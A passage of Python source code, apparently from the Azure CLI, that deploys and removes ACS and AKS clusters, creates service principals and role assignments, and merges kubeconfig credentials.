"upgrade", helm_release_name, url_chart, "--set", values]) except subprocess.CalledProcessError as err: raise CLIError('Could not deploy the ACI connector Chart: {}'.format(err)) def k8s_uninstall_connector(cmd, client, name, resource_group_name, connector_name='aci-connector', location=None, graceful=False, os_type='Linux'): from subprocess import PIPE, Popen helm_not_installed = "Error : Helm not detected, please verify if it is installed." # Check if Helm is installed locally try: Popen(["helm"], stdout=PIPE, stderr=PIPE) except OSError: raise CLIError(helm_not_installed) # Get the credentials from a AKS instance _, browse_path = tempfile.mkstemp() aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=browse_path) # Validate if the RG exists rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) # Auto assign the location if location is None: location = rg_location norm_location = location.replace(' ', '').lower() if os_type.lower() in ['linux', 'both']: helm_release_name = connector_name.lower() + '-linux-' + norm_location node_name = 'virtual-kubelet-' + helm_release_name _undeploy_connector(graceful, node_name, helm_release_name) if os_type.lower() in ['windows', 'both']: helm_release_name = connector_name.lower() + '-windows-' + norm_location node_name = 'virtual-kubelet-' + helm_release_name _undeploy_connector(graceful, node_name, helm_release_name) def _undeploy_connector(graceful, node_name, helm_release_name): if graceful: logger.warning('Graceful option selected, will try to drain the node first') from subprocess import PIPE, Popen kubectl_not_installed = 'Kubectl not detected, please verify if it is installed.' try: Popen(["kubectl"], stdout=PIPE, stderr=PIPE) except OSError: raise CLIError(kubectl_not_installed) try: drain_node = subprocess.check_output( ['kubectl', 'drain', node_name, '--force', '--delete-local-data'], universal_newlines=True) if not drain_node: raise CLIError('Could not find the node, make sure you' + ' are using the correct --os-type') except subprocess.CalledProcessError as err: raise CLIError('Could not find the node, make sure you are using the correct' + ' --connector-name, --location and --os-type options: {}'.format(err)) logger.warning("Undeploying the '%s' using Helm", helm_release_name) try: subprocess.call(['helm', 'del', helm_release_name, '--purge']) except subprocess.CalledProcessError as err: raise CLIError('Could not undeploy the ACI connector Chart: {}'.format(err)) try: subprocess.check_output( ['kubectl', 'delete', 'node', node_name], universal_newlines=True) except subprocess.CalledProcessError as err: raise CLIError('Could not delete the node, make sure you are using the correct' + ' --connector-name, --location and --os-type options: {}'.format(err)) def _build_service_principal(rbac_client, cli_ctx, name, url, client_secret): # use get_progress_controller hook = cli_ctx.get_progress_controller(True) hook.add(messsage='Creating service principal', value=0, total_val=1.0) logger.info('Creating service principal') # always create application with 5 years expiration start_date = datetime.datetime.utcnow() end_date = start_date + relativedelta(years=5) result = create_application(rbac_client.applications, name, url, [url], password=client_secret, start_date=start_date, end_date=end_date) service_principal = result.app_id # pylint: disable=no-member for x in range(0, 10): hook.add(message='Creating service principal', value=0.1 * x, total_val=1.0) try: create_service_principal(cli_ctx, service_principal, rbac_client=rbac_client) break # TODO figure out what exception AAD throws here sometimes. except Exception as ex: # pylint: disable=broad-except logger.info(ex) time.sleep(2 + 2 * x) else: return False hook.add(message='Finished service principal creation', value=1.0, total_val=1.0) logger.info('Finished service principal creation') return service_principal def _add_role_assignment(cli_ctx, role, service_principal, delay=2, scope=None): # AAD can have delays in propagating data, so sleep and retry hook = cli_ctx.get_progress_controller(True) hook.add(message='Waiting for AAD role to propagate', value=0, total_val=1.0) logger.info('Waiting for AAD role to propagate') for x in range(0, 10): hook.add(message='Waiting for AAD role to propagate', value=0.1 * x, total_val=1.0) try: # TODO: break this out into a shared utility library create_role_assignment(cli_ctx, role, service_principal, scope=scope) break except CloudError as ex: if ex.message == 'The role assignment already exists.': break logger.info(ex.message) except: # pylint: disable=bare-except pass time.sleep(delay + delay * x) else: return False hook.add(message='AAD role propagation done', value=1.0, total_val=1.0) logger.info('AAD role propagation done') return True def _get_subscription_id(cli_ctx): _, sub_id, _ = Profile(cli_ctx=cli_ctx).get_login_credentials(subscription_id=None) return sub_id def _get_default_dns_prefix(name, resource_group_name, subscription_id): # Use subscription id to provide uniqueness and prevent DNS name clashes name_part = re.sub('[^A-Za-z0-9-]', '', name)[0:10] if not name_part[0].isalpha(): name_part = (str('a') + name_part)[0:10] resource_group_part = re.sub('[^A-Za-z0-9-]', '', resource_group_name)[0:16] return '{}-{}-{}'.format(name_part, resource_group_part, subscription_id[0:6]) def list_acs_locations(cmd, client): return { "productionRegions": regions_in_prod, "previewRegions": regions_in_preview } def _generate_windows_profile(windows, admin_username, admin_password): if windows: if not admin_password: raise CLIError('--admin-password is required.') if len(admin_password) < 6: raise CLIError('--admin-password must be at least 6 characters') windows_profile = { "adminUsername": admin_username, "adminPassword": admin_password, } return windows_profile return None def _generate_master_pool_profile(api_version, master_profile, master_count, dns_name_prefix, master_vm_size, master_osdisk_size, master_vnet_subnet_id, master_first_consecutive_static_ip, master_storage_profile): master_pool_profile = {} default_master_pool_profile = { "count": int(master_count), "dnsPrefix": dns_name_prefix + 'mgmt', } if api_version == "2017-07-01": default_master_pool_profile = _update_dict(default_master_pool_profile, { "count": int(master_count), "dnsPrefix": dns_name_prefix + 'mgmt', "vmSize": master_vm_size, "osDiskSizeGB": int(master_osdisk_size), "vnetSubnetID": master_vnet_subnet_id, "firstConsecutiveStaticIP": master_first_consecutive_static_ip, "storageProfile": master_storage_profile, }) if not master_profile: master_pool_profile = default_master_pool_profile else: master_pool_profile = _update_dict(default_master_pool_profile, master_profile) return master_pool_profile def _generate_agent_pool_profiles(api_version, agent_profiles, agent_count, dns_name_prefix, agent_vm_size, os_type, agent_osdisk_size, agent_vnet_subnet_id, agent_ports, agent_storage_profile): agent_pool_profiles = [] default_agent_pool_profile = { "count": int(agent_count), "vmSize": agent_vm_size, "osType": os_type, "dnsPrefix": dns_name_prefix + 'agent', } if api_version == "2017-07-01": default_agent_pool_profile = _update_dict(default_agent_pool_profile, { "count": int(agent_count), "vmSize": agent_vm_size, "osDiskSizeGB": int(agent_osdisk_size), "osType": os_type, "dnsPrefix": dns_name_prefix + 'agent', "vnetSubnetID": agent_vnet_subnet_id, "ports": agent_ports, "storageProfile": agent_storage_profile, }) if agent_profiles is None: agent_pool_profiles.append(_update_dict(default_agent_pool_profile, {"name": "agentpool0"})) else: # override agentPoolProfiles by using the passed in agent_profiles for idx, ap in enumerate(agent_profiles): # if the user specified dnsPrefix, we honor that # otherwise, we use the idx to avoid duplicate dns name a = _update_dict({"dnsPrefix": dns_name_prefix + 'agent' + str(idx)}, ap) agent_pool_profiles.append(_update_dict(default_agent_pool_profile, a)) return agent_pool_profiles def _generate_outputs(name, orchestrator_type, admin_username): # define outputs outputs = { "masterFQDN": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/containerServices/', '{}')).masterProfile.fqdn]".format(name) # pylint: disable=line-too-long }, "sshMaster0": { "type": "string", "value": "[concat('ssh ', '{0}', '@', reference(concat('Microsoft.ContainerService/containerServices/', '{1}')).masterProfile.fqdn, ' -A -p 22')]".format(admin_username, name) # pylint: disable=line-too-long }, } if orchestrator_type.lower() != "kubernetes": outputs["agentFQDN"] = { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/containerServices/', '{}')).agentPoolProfiles[0].fqdn]".format(name) # pylint: disable=line-too-long } # override sshMaster0 for non-kubernetes scenarios outputs["sshMaster0"] = { "type": "string", "value": "[concat('ssh ', '{0}', '@', reference(concat('Microsoft.ContainerService/containerServices/', '{1}')).masterProfile.fqdn, ' -A -p 2200')]".format(admin_username, name) # pylint: disable=line-too-long } return outputs def _generate_properties(api_version, orchestrator_type, orchestrator_version, master_pool_profile, agent_pool_profiles, ssh_key_value, admin_username, windows_profile): properties = { "orchestratorProfile": { "orchestratorType": orchestrator_type, }, "masterProfile": master_pool_profile, "agentPoolProfiles": agent_pool_profiles, "linuxProfile": { "ssh": { "publicKeys": [ { "keyData": ssh_key_value } ] }, "adminUsername": admin_username }, } if api_version == "2017-07-01": properties["orchestratorProfile"]["orchestratorVersion"] = orchestrator_version if windows_profile is not None: properties["windowsProfile"] = windows_profile return properties # pylint: disable=too-many-locals def acs_create(cmd, client, resource_group_name, deployment_name, name, ssh_key_value, dns_name_prefix=None, location=None, admin_username="azureuser", api_version=None, master_profile=None, master_vm_size="Standard_D2_v2", master_osdisk_size=0, master_count=1, master_vnet_subnet_id="", master_first_consecutive_static_ip="10.240.255.5", master_storage_profile="", agent_profiles=None, agent_vm_size="Standard_D2_v2", agent_osdisk_size=0, agent_count=3, agent_vnet_subnet_id="", agent_ports=None, agent_storage_profile="", orchestrator_type="DCOS", orchestrator_version="", service_principal=None, client_secret=None, tags=None, windows=False, admin_password="", generate_ssh_keys=False, # pylint: disable=unused-argument validate=False, no_wait=False): """Create a new Acs. :param resource_group_name: The name of the resource group. The name is case insensitive. :type resource_group_name: str :param deployment_name: The name of the deployment. :type deployment_name: str :param dns_name_prefix: Sets the Domain name prefix for the cluster. The concatenation of the domain name and the regionalized DNS zone make up the fully qualified domain name associated with the public IP address. :type dns_name_prefix: str :param name: Resource name for the container service. :type name: str :param ssh_key_value: Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm :type ssh_key_value: str :param content_version: If included it must match the ContentVersion in the template. :type content_version: str :param admin_username: User name for the Linux Virtual Machines. :type admin_username: str :param api_version: ACS API version to use :type api_version: str :param master_profile: MasterProfile used to describe master pool :type master_profile: dict :param master_vm_size: The size of master pool Virtual Machine :type master_vm_size: str :param master_osdisk_size: The osDisk size in GB of master pool Virtual Machine :type master_osdisk_size: int :param master_count: The number of masters for the cluster. :type master_count: int :param master_vnet_subnet_id: The vnet subnet id for master pool :type master_vnet_subnet_id: str :param master_storage_profile: The storage profile used for master pool. Possible value could be StorageAccount, ManagedDisk. :type master_storage_profile: str :param agent_profiles: AgentPoolProfiles used to describe agent pools :type agent_profiles: dict :param agent_vm_size: The size of the Virtual Machine. :type agent_vm_size: str :param agent_osdisk_size: The osDisk size in GB of agent pool Virtual Machine :type agent_osdisk_size: int :param agent_vnet_subnet_id: The vnet subnet id for master pool :type agent_vnet_subnet_id: str :param agent_ports: the ports exposed on the agent pool :type agent_ports: list :param agent_storage_profile: The storage profile used for agent pool. Possible value could be StorageAccount, ManagedDisk. :type agent_storage_profile: str :param location: Location for VM resources. :type location: str :param orchestrator_type: The type of orchestrator used to manage the applications on the cluster. :type orchestrator_type: str or :class:`orchestratorType <Default.models.orchestratorType>` :param tags: Tags object. :type tags: object :param windows: If true, the cluster will be built for running Windows container. :type windows: bool :param admin_password: The adminstration password for Windows nodes. Only available if --windows=true :type admin_password: str :param bool raw: returns the direct response alongside the deserialized response :rtype: :class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>` instance that returns :class:`DeploymentExtended <Default.models.DeploymentExtended>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true :raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>` """ if ssh_key_value is not None and not is_valid_ssh_rsa_public_key(ssh_key_value): raise CLIError('Provided ssh key ({}) is invalid or non-existent'.format(ssh_key_value)) subscription_id = _get_subscription_id(cmd.cli_ctx) if not dns_name_prefix: dns_name_prefix = _get_default_dns_prefix(name, resource_group_name, subscription_id) rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) if location is None: location = rg_location # if api-version is not specified, or specified in a version not supported # override based on location if api_version is None or api_version not in ["2017-01-31", "2017-07-01"]: if location in regions_in_preview: api_version = "2017-07-01" # 2017-07-01 supported in the preview locations else: api_version = "2017-01-31" # 2017-01-31 applied to other locations if orchestrator_type.lower() == 'kubernetes': principal_obj = _ensure_service_principal(cmd.cli_ctx, service_principal, client_secret, subscription_id, dns_name_prefix, location, name) client_secret = principal_obj.get("client_secret") service_principal = principal_obj.get("service_principal") elif windows: raise CLIError('--windows is only supported for Kubernetes clusters') # set location if void if not location: location = '[resourceGroup().location]' # set os_type os_type = 'Linux' if windows: os_type = 'Windows' # set agent_ports if void if not agent_ports: agent_ports = [] # get windows_profile windows_profile = _generate_windows_profile(windows, admin_username, admin_password) # The resources.properties fields should match with ContainerServices' api model master_pool_profile = _generate_master_pool_profile(api_version, master_profile, master_count, dns_name_prefix, master_vm_size, master_osdisk_size, master_vnet_subnet_id, master_first_consecutive_static_ip, master_storage_profile) agent_pool_profiles = _generate_agent_pool_profiles(api_version, agent_profiles, agent_count, dns_name_prefix, agent_vm_size, os_type, agent_osdisk_size, agent_vnet_subnet_id, agent_ports, agent_storage_profile) outputs = _generate_outputs(name, orchestrator_type, admin_username) properties = _generate_properties(api_version, orchestrator_type, orchestrator_version, master_pool_profile, agent_pool_profiles, ssh_key_value, admin_username, windows_profile) resource = { "apiVersion": api_version, "location": location, "type": "Microsoft.ContainerService/containerServices", "name": name, "tags": tags, "properties": properties, } template = { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ resource, ], "outputs": outputs, } params = {} if service_principal is not None and client_secret is not None: properties["servicePrincipalProfile"] = { "clientId": service_principal, "secret": "[parameters('clientSecret')]", } template["parameters"] = { "clientSecret": { "type": "secureString", "metadata": { "description": "The client secret for the service principal" } } } params = { "clientSecret": { "value": client_secret } } # Due to SPN replication latency, we do a few retries here max_retry = 30 retry_exception = Exception(None) for _ in range(0, max_retry): try: return _invoke_deployment(cmd.cli_ctx, resource_group_name, deployment_name, template, params, validate, no_wait) except CloudError as ex: retry_exception = ex if 'is not valid according to the validation procedure' in ex.message or \ 'The credentials in ServicePrincipalProfile were invalid' in ex.message or \ 'not found in Active Directory tenant' in ex.message: time.sleep(3) else: raise ex raise retry_exception def store_acs_service_principal(subscription_id, client_secret, service_principal, file_name='acsServicePrincipal.json'): obj = {} if client_secret: obj['client_secret'] = client_secret if service_principal: obj['service_principal'] = service_principal config_path = os.path.join(get_config_dir(), file_name) full_config = load_service_principals(config_path=config_path) if not full_config: full_config = {} full_config[subscription_id] = obj with os.fdopen(os.open(config_path, os.O_RDWR | os.O_CREAT | os.O_TRUNC, 0o600), 'w+') as spFile: json.dump(full_config, spFile) def load_acs_service_principal(subscription_id, file_name='acsServicePrincipal.json'): config_path = os.path.join(get_config_dir(), file_name) config = load_service_principals(config_path) if not config: return None return config.get(subscription_id) def load_service_principals(config_path): if not os.path.exists(config_path): return None fd = os.open(config_path, os.O_RDONLY) try: with os.fdopen(fd) as f: return shell_safe_json_parse(f.read()) except: # pylint: disable=bare-except return None def _invoke_deployment(cli_ctx, resource_group_name, deployment_name, template, parameters, validate, no_wait, subscription_id=None): from azure.mgmt.resource.resources import ResourceManagementClient from azure.mgmt.resource.resources.models import DeploymentProperties properties = DeploymentProperties(template=template, parameters=parameters, mode='incremental') smc = get_mgmt_service_client(cli_ctx, ResourceManagementClient, subscription_id=subscription_id).deployments if validate: logger.info('==== BEGIN TEMPLATE ====') logger.info(json.dumps(template, indent=2)) logger.info('==== END TEMPLATE ====') return smc.validate(resource_group_name, deployment_name, properties) return sdk_no_wait(no_wait, smc.create_or_update, resource_group_name, deployment_name, properties) def k8s_get_credentials(cmd, client, name, resource_group_name, path=os.path.join(os.path.expanduser('~'), '.kube', 'config'), ssh_key_file=None, overwrite_existing=False): """Download and install kubectl credentials from the cluster master :param name: The name of the cluster. :type name: str :param resource_group_name: The name of the resource group. :type resource_group_name: str :param path: Where to install the kubectl config file :type path: str :param ssh_key_file: Path to an SSH key file to use :type ssh_key_file: str """ acs_info = _get_acs_info(cmd.cli_ctx, name, resource_group_name) _k8s_get_credentials_internal(name, acs_info, path, ssh_key_file, overwrite_existing) def _k8s_get_credentials_internal(name, acs_info, path, ssh_key_file, overwrite_existing): if ssh_key_file is not None and not os.path.isfile(ssh_key_file): raise CLIError('Private key file {} does not exist'.format(ssh_key_file)) dns_prefix = acs_info.master_profile.dns_prefix # pylint: disable=no-member location = acs_info.location # pylint: disable=no-member user = acs_info.linux_profile.admin_username # pylint: disable=no-member _mkdir_p(os.path.dirname(path)) path_candidate = path ix = 0 while os.path.exists(path_candidate): ix += 1 path_candidate = '{}-{}-{}'.format(path, name, ix) # TODO: this only works for public cloud, need other casing for national clouds acs_client.secure_copy(user, '{}.{}.cloudapp.azure.com'.format(dns_prefix, location), '.kube/config', path_candidate, key_filename=ssh_key_file) # merge things if path_candidate != path: try: merge_kubernetes_configurations(path, path_candidate, overwrite_existing) except yaml.YAMLError as exc: logger.warning('Failed to merge credentials to kube config file: %s', exc) logger.warning('The credentials have been saved to %s', path_candidate) def _handle_merge(existing, addition, key, replace): if addition[key]: if existing[key] is None: existing[key] = addition[key] return for i in addition[key]: for j in existing[key]: if i['name'] == j['name']: if replace or i == j: existing[key].remove(j) else: raise CLIError('A different object named {} already exists in {}'.format(i['name'], key)) existing[key].append(i) def load_kubernetes_configuration(filename): try: with open(filename) as stream: return yaml.safe_load(stream) except (IOError, OSError) as ex: if getattr(ex, 'errno', 0) == errno.ENOENT: raise CLIError('{} does not exist'.format(filename)) else: raise except (yaml.parser.ParserError, UnicodeDecodeError) as ex: raise CLIError('Error parsing {} ({})'.format(filename, str(ex))) def merge_kubernetes_configurations(existing_file, addition_file, replace): existing = load_kubernetes_configuration(existing_file) addition = load_kubernetes_configuration(addition_file) # rename the admin context so it doesn't overwrite the user context for ctx in addition.get('contexts', []): try: if ctx['context']['user'].startswith('clusterAdmin'): admin_name = ctx['name'] + '-admin' addition['current-context'] = ctx['name'] = admin_name break except (KeyError, TypeError): continue if addition is None: raise CLIError('failed to load additional configuration from {}'.format(addition_file)) if existing is None: existing = addition else: _handle_merge(existing, addition, 'clusters', replace) _handle_merge(existing, addition, 'users', replace) _handle_merge(existing, addition, 'contexts', replace) existing['current-context'] = addition['current-context'] # check that ~/.kube/config is only read- and writable by its owner if platform.system() != 'Windows': existing_file_perms = "{:o}".format(stat.S_IMODE(os.lstat(existing_file).st_mode)) if not existing_file_perms.endswith('600'): logger.warning('%s has permissions "%s".\nIt should be readable and writable only by its owner.', existing_file, existing_file_perms) with open(existing_file, 'w+') as stream: yaml.safe_dump(existing, stream, default_flow_style=False) current_context = addition.get('current-context', 'UNKNOWN') msg = 'Merged "{}" as current context in {}'.format(current_context, existing_file) print(msg) def _get_host_name(acs_info): """ Gets the FQDN from the acs_info object. :param acs_info: ContainerService object from Azure REST API :type acs_info: ContainerService """ if acs_info is None: raise CLIError('Missing acs_info') if acs_info.master_profile is None: raise CLIError('Missing master_profile') if acs_info.master_profile.fqdn is None: raise CLIError('Missing fqdn') return acs_info.master_profile.fqdn def _get_username(acs_info): """ Gets the admin user name from the Linux profile of the ContainerService object. :param acs_info: ContainerService object from Azure REST API :type acs_info: ContainerService """ if acs_info.linux_profile is not None: return acs_info.linux_profile.admin_username return None def _get_acs_info(cli_ctx, name, resource_group_name): """ Gets the ContainerService object from Azure REST API. :param name: ACS resource name :type name: String :param resource_group_name: Resource group name :type resource_group_name: String """ container_services = cf_container_services(cli_ctx, None) return container_services.get(resource_group_name, name) def _rand_str(n): """ Gets a random string """ choices = string.ascii_lowercase + string.digits return ''.join(random.SystemRandom().choice(choices) for _ in range(n)) def _mkdir_p(path): # http://stackoverflow.com/a/600612 try: os.makedirs(path) except OSError as exc: # Python >2.5 if exc.errno == errno.EEXIST and os.path.isdir(path): pass else: raise def update_acs(cmd, client, resource_group_name, container_service_name, new_agent_count): instance = client.get(resource_group_name, container_service_name) instance.agent_pool_profiles[0].count = new_agent_count # pylint: disable=no-member # null out the service principal because otherwise validation complains if instance.orchestrator_profile.orchestrator_type == ContainerServiceOrchestratorTypes.kubernetes: instance.service_principal_profile = None # null out the windows profile so that validation doesn't complain about not having the admin password instance.windows_profile = None return client.create_or_update(resource_group_name, container_service_name, instance) def list_container_services(cmd, client, resource_group_name=None): ''' List Container Services. ''' svc_list = client.list_by_resource_group(resource_group_name=resource_group_name) \ if resource_group_name else client.list() return list(svc_list) def show_service_principal(client, identifier): object_id = _resolve_service_principal(client, identifier) return client.get(object_id) def _resolve_service_principal(client, identifier): # todo: confirm with graph team that a service principal name must be unique result = list(client.list(filter="servicePrincipalNames/any(c:c eq '{}')".format(identifier))) if result: return result[0].object_id try: uuid.UUID(identifier) return identifier # assume an object id except ValueError: raise CLIError("service principal '{}' doesn't exist".format(identifier)) def create_application(client, display_name, homepage, identifier_uris, available_to_other_tenants=False, password=None, reply_urls=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None, required_resource_accesses=None): from azure.graphrbac.models import GraphErrorException password_creds, key_creds = _build_application_creds(password, key_value, key_type, key_usage, start_date, end_date) app_create_param = ApplicationCreateParameters(available_to_other_tenants=available_to_other_tenants, display_name=display_name, identifier_uris=identifier_uris, homepage=homepage, reply_urls=reply_urls, key_credentials=key_creds, password_credentials=password_creds, required_resource_access=required_resource_accesses) try: return client.create(app_create_param) except GraphErrorException as ex: if 'insufficient privileges' in str(ex).lower(): link = 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/resource-group-create-service-principal-portal' # pylint: disable=line-too-long raise CLIError("Directory permission is needed for the current user to register the application. " "For how to configure, please refer '{}'. Original error: {}".format(link, ex)) raise def update_application(client, object_id, display_name, homepage, identifier_uris, available_to_other_tenants=False, password=None, reply_urls=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None, required_resource_accesses=None): from azure.graphrbac.models import GraphErrorException password_creds, key_creds = _build_application_creds(password, key_value, key_type, key_usage, start_date, end_date) try: if key_creds: client.update_key_credentials(object_id, key_creds) if password_creds: client.update_password_credentials(object_id, password_creds) return except GraphErrorException as ex: if 'insufficient privileges' in str(ex).lower(): link = 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/resource-group-create-service-principal-portal' # pylint: disable=line-too-long raise CLIError("Directory permission is needed for the current user to register the application. " "For how to configure, please refer '{}'. Original error: {}".format(link, ex)) raise def _build_application_creds(password=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None): if password and key_value: raise CLIError('specify either --password or --key-value, but not both.') if not start_date: start_date = datetime.datetime.utcnow() elif isinstance(start_date, str): start_date = dateutil.parser.parse(start_date) if not end_date: end_date = start_date + relativedelta(years=1) elif isinstance(end_date, str): end_date = dateutil.parser.parse(end_date) key_type = key_type or 'AsymmetricX509Cert' key_usage = key_usage or 'Verify' password_creds = None key_creds = None if password: password_creds = [PasswordCredential(start_date=start_date, end_date=end_date, key_id=str(uuid.uuid4()), value=password)] elif key_value: key_creds = [KeyCredential(start_date=start_date, end_date=end_date, value=key_value, key_id=str(uuid.uuid4()), usage=key_usage, type=key_type)] return (password_creds, key_creds) def create_service_principal(cli_ctx, identifier, resolve_app=True, rbac_client=None): if rbac_client is None: rbac_client = get_graph_rbac_management_client(cli_ctx) if resolve_app: try: uuid.UUID(identifier) result = list(rbac_client.applications.list(filter="appId eq '{}'".format(identifier))) except ValueError: result = list(rbac_client.applications.list( filter="identifierUris/any(s:s eq '{}')".format(identifier))) if not result: # assume we get an object id result = [rbac_client.applications.get(identifier)] app_id = result[0].app_id else: app_id = identifier return rbac_client.service_principals.create(ServicePrincipalCreateParameters(app_id=app_id, account_enabled=True)) def create_role_assignment(cli_ctx, role, assignee, resource_group_name=None, scope=None): return _create_role_assignment(cli_ctx, role, assignee, resource_group_name, scope) def _create_role_assignment(cli_ctx, role, assignee, resource_group_name=None, scope=None, resolve_assignee=True): from azure.cli.core.profiles import ResourceType, get_sdk factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments definitions_client = factory.role_definitions scope = _build_role_scope(resource_group_name, scope, assignments_client.config.subscription_id) role_id = _resolve_role_id(role, scope, definitions_client) object_id = _resolve_object_id(cli_ctx, assignee) if resolve_assignee else assignee RoleAssignmentCreateParameters = get_sdk(cli_ctx, ResourceType.MGMT_AUTHORIZATION, 'RoleAssignmentCreateParameters', mod='models', operation_group='role_assignments') parameters = RoleAssignmentCreateParameters(role_definition_id=role_id, principal_id=object_id) assignment_name = uuid.uuid4() custom_headers = None return assignments_client.create(scope, assignment_name, parameters, custom_headers=custom_headers) def _build_role_scope(resource_group_name, scope, subscription_id): subscription_scope = '/subscriptions/' + subscription_id if scope: if resource_group_name: err = 'Resource group "{}" is redundant because scope is supplied' raise CLIError(err.format(resource_group_name)) elif resource_group_name: scope = subscription_scope + '/resourceGroups/' + resource_group_name else: scope = subscription_scope return scope def _resolve_role_id(role, scope, definitions_client): role_id = None try: uuid.UUID(role) role_id = role except ValueError: pass if not role_id: # retrieve role id role_defs = list(definitions_client.list(scope, "roleName eq '{}'".format(role))) if not role_defs: raise CLIError("Role '{}' doesn't exist.".format(role)) elif len(role_defs) > 1: ids = [r.id for r in role_defs] err = "More than one role matches the given name '{}'. Please pick a value from '{}'" raise CLIError(err.format(role, ids)) role_id = role_defs[0].id return role_id def _resolve_object_id(cli_ctx, assignee): client = get_graph_rbac_management_client(cli_ctx) result = None if assignee.find('@') >= 0: # looks like a user principal name result = list(client.users.list(filter="userPrincipalName eq '{}'".format(assignee))) if not result: result = list(client.service_principals.list( filter="servicePrincipalNames/any(c:c eq '{}')".format(assignee))) if not result: # assume an object id, let us verify it result = _get_object_stubs(client, [assignee]) # 2+ matches should never happen, so we only check 'no match' here if not result: raise CLIError("No matches in graph database for '{}'".format(assignee)) return result[0].object_id def _get_object_stubs(graph_client, assignees): params = GetObjectsParameters(include_directory_object_references=True, object_ids=assignees) return list(graph_client.objects.get_objects_by_object_ids(params)) def _update_dict(dict1, dict2): cp = dict1.copy() cp.update(dict2) return cp def subnet_role_assignment_exists(cli_ctx, scope): network_contributor_role_id = "4d97b98b-1d4f-4787-a291-c67834d212e7" factory = get_auth_management_client(cli_ctx, scope) assignments_client = factory.role_assignments for i in assignments_client.list_for_scope(scope=scope, filter='atScope()'): if i.scope == scope and i.role_definition_id.endswith(network_contributor_role_id): return True return False def aks_browse(cmd, client, resource_group_name, name, disable_browser=False, listen_address='127.0.0.1', listen_port='8001'): if not which('kubectl'): raise CLIError('Can not find kubectl executable in PATH') proxy_url = 'http://{0}:{1}/'.format(listen_address, listen_port) _, browse_path = tempfile.mkstemp() # TODO: need to add an --admin option? aks_get_credentials(cmd, client, resource_group_name, name, admin=False, path=browse_path) # find the dashboard pod's name try: dashboard_pod = subprocess.check_output( ["kubectl", "get", "pods", "--kubeconfig", browse_path, "--namespace", "kube-system", "--output", "name", "--selector", "k8s-app=kubernetes-dashboard"], universal_newlines=True) except subprocess.CalledProcessError as err: raise CLIError('Could not find dashboard pod: {}'.format(err)) if dashboard_pod: # remove any "pods/" or "pod/" prefix from the name dashboard_pod = str(dashboard_pod).split('/')[-1].strip() else: raise CLIError("Couldn't find the Kubernetes dashboard pod.") # launch kubectl port-forward locally to access the remote dashboard if in_cloud_console(): # TODO: better error handling here. response = requests.post('http://localhost:8888/openport/{0}'.format(listen_port)) result = json.loads(response.text) term_id = os.environ.get('ACC_TERM_ID') if term_id: response = requests.post('http://localhost:8888/openLink/{}'.format(term_id), json={"url": result['url']}) logger.warning('To view the console, please open %s in a new tab', result['url']) else: logger.warning('Proxy running on %s', proxy_url) logger.warning('Press CTRL+C to close the tunnel...') if not disable_browser: wait_then_open_async(proxy_url) try: try: subprocess.check_output(["kubectl", "--kubeconfig", browse_path, "--namespace", "kube-system", "port-forward", "--address", listen_address, dashboard_pod, "{0}:9090".format(listen_port)], stderr=subprocess.STDOUT) except subprocess.CalledProcessError as err: if err.output.find(b'unknown flag: --address'): if listen_address != '127.0.0.1': logger.warning('"--address" is only supported in kubectl v1.13 and later.') logger.warning('The "--listen-address" argument will be ignored.') subprocess.call(["kubectl", "--kubeconfig", browse_path, "--namespace", "kube-system", "port-forward", dashboard_pod, "{0}:9090".format(listen_port)]) except KeyboardInterrupt: # Let command processing finish gracefully after the user presses [Ctrl+C] pass finally: # TODO: Better error handling here. requests.post('http://localhost:8888/closeport/8001') def _trim_nodepoolname(nodepool_name): if not nodepool_name: return "nodepool1" return nodepool_name[:12] def _validate_ssh_key(no_ssh_key, ssh_key_value): if not no_ssh_key: try: if not ssh_key_value or not is_valid_ssh_rsa_public_key(ssh_key_value): raise ValueError() except (TypeError, ValueError): shortened_key = truncate_text(ssh_key_value) raise CLIError('Provided ssh key ({}) is invalid or non-existent'.format(shortened_key)) # pylint: disable=too-many-statements def aks_create(cmd, client, resource_group_name, name, ssh_key_value, # pylint: disable=too-many-locals dns_name_prefix=None, location=None, admin_username="azureuser", kubernetes_version='', node_vm_size="Standard_DS2_v2", node_osdisk_size=0, node_count=3, nodepool_name="nodepool1", service_principal=None, client_secret=None, no_ssh_key=False, disable_rbac=None, enable_rbac=None, skip_subnet_role_assignment=False, network_plugin=None, network_policy=None, pod_cidr=None, service_cidr=None, dns_service_ip=None, docker_bridge_address=None, enable_addons=None, workspace_resource_id=None, vnet_subnet_id=None, max_pods=0, aad_client_app_id=None, aad_server_app_id=None, aad_server_app_secret=None, aad_tenant_id=None, tags=None, generate_ssh_keys=False, # pylint: disable=unused-argument no_wait=False): _validate_ssh_key(no_ssh_key, ssh_key_value) subscription_id = _get_subscription_id(cmd.cli_ctx) if not dns_name_prefix: dns_name_prefix = _get_default_dns_prefix(name, resource_group_name, subscription_id) rg_location = _get_rg_location(cmd.cli_ctx, resource_group_name) if location is None: location = rg_location agent_pool_profile = ManagedClusterAgentPoolProfile( name=_trim_nodepoolname(nodepool_name), # Must be 12 chars or less before ACS RP adds to it count=int(node_count), vm_size=node_vm_size, os_type="Linux", storage_profile=ContainerServiceStorageProfileTypes.managed_disks, vnet_subnet_id=vnet_subnet_id, max_pods=int(max_pods) if max_pods else None ) if node_osdisk_size: agent_pool_profile.os_disk_size_gb = int(node_osdisk_size) linux_profile = None # LinuxProfile is just used for SSH access to VMs, so omit it if --no-ssh-key was specified. if not no_ssh_key: ssh_config = ContainerServiceSshConfiguration( public_keys=[ContainerServiceSshPublicKey(key_data=ssh_key_value)]) linux_profile = ContainerServiceLinuxProfile(admin_username=admin_username, 